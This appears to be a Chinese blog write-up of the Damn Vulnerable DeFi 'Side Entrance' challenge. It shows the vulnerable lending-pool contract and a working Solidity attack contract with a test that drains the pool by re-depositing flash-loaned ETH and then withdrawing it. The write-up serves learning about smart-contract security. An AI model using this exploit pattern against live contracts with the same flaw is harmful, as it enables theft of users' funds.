moon

moon

Build for builders on blockchain
github
twitter

Defi黑客系列:Damn Vulnerable DeFi (四) - Side Entrance

Damn Vulnerable DeFi 是一个 Defi 智能合约攻击挑战系列。内容包括了闪电贷攻击、借贷池、链上预言机等。在开始之前你需要具备 Solidity 以及 JavaScipt 相关的技能。针对每一题你需要做的就是保证该题的单元测试能够通过。

题目链接:https://www.damnvulnerabledefi.xyz/challenges/4.html

题目描述:

有一个借贷池合约,允许任何人存入 ETH,并在任何时间点取出。这个借贷池已经有 1000 ETH 余额,并使用存入的 ETH 提供免费闪电贷来推广他们的系统。

你需要做的就是从借贷池中取光所有的 ETH

借贷池合约 SideEntranceLenderPool.sol

pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";

// 使用闪电贷功能的合约接口
interface IFlashLoanEtherReceiver {
    function execute() external payable;
}

/**
 * @title SideEntranceLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract SideEntranceLenderPool {
    using Address for address payable;
		
    // 记录地址对应的余额数量
    mapping (address => uint256) private balances;
    
    // 存入资金,并记录
    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }
		
    // 提现方法
    function withdraw() external {
        // 获取调用者的可用余额
        uint256 amountToWithdraw = balances[msg.sender];
        // 余额置空
        balances[msg.sender] = 0;
        // 将可用余额从当前合约转到调用者
        payable(msg.sender).sendValue(amountToWithdraw);
    }
		
    // 闪电贷方法
    function flashLoan(uint256 amount) external {
        // 获取余额
        uint256 balanceBefore = address(this).balance;
        require(balanceBefore >= amount, "Not enough ETH in balance");
        
        // 回调使用闪电贷的合约的execute 方法
        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
				
        // 确保余额已返还
        require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");        
    }
}

该借贷池合约允许存入资金,并供别人免费使用闪电贷功能。

由于该合约提供了 deposit 存入资金的方法,如果将借出的 eth 调用该方法存入,一方面能够满足flashLoan 最后的归还要求,另一方面可以手动调用 withdraw 方法取出余额。

因此我们需要一个攻击合约 SideEntranceAttack.sol

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../side-entrance/SideEntranceLenderPool.sol";

contract SideEntranceAttack is IFlashLoanEtherReceiver, Ownable {
  using Address for address payable;
	
  // 借贷池合约
  SideEntranceLenderPool public pool;

  constructor(address _pool) {
    pool = SideEntranceLenderPool(_pool);
  }
	
  // 闪电贷方法
  function flashLoan() external onlyOwner {
    // 调用借贷池合约的 flashLoan 借出全部余额
    pool.flashLoan(address(pool).balance);
    
    // 提取余额,将余额转入该合约
    pool.withdraw();
    // 将该合约的余额转入攻击者的地址
    payable(msg.sender).sendValue(address(this).balance);
  }

  function execute()  external override payable {
    require(msg.sender == address(pool), "caller not the pool");
    // 将借出的 eth 再次存入
    pool.deposit{value: msg.value}();
  }

  receive () external payable {}
}

攻击步骤:

  1. 调用借贷池合约的 flashLoan 方法,借出全部余额
  2. 借贷池合约执行回调 - 调用 execute,该方法中调用 deposit 存入借出的 eth 到 借贷池合约
  3. 调用借贷池合约的 withdraw ,将存入的 eth 转出到该合约
  4. 将合约中的余额转出到攻击者的地址

最后在测试用例 side-entrance.challenge.js 编写我们的执行代码

it('Exploit', async function () {
  // attacker 地址部署攻击合约
  const SideEntranceAttackFactory = await ethers.getContractFactory('SideEntranceAttack', attacker)
  const sideEntranceReveive = await SideEntranceAttackFactory.deploy(this.pool.address)

  await sideEntranceReveive.flashLoan()
})

执行 yarn side-entrance,测试通过!

完整代码

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。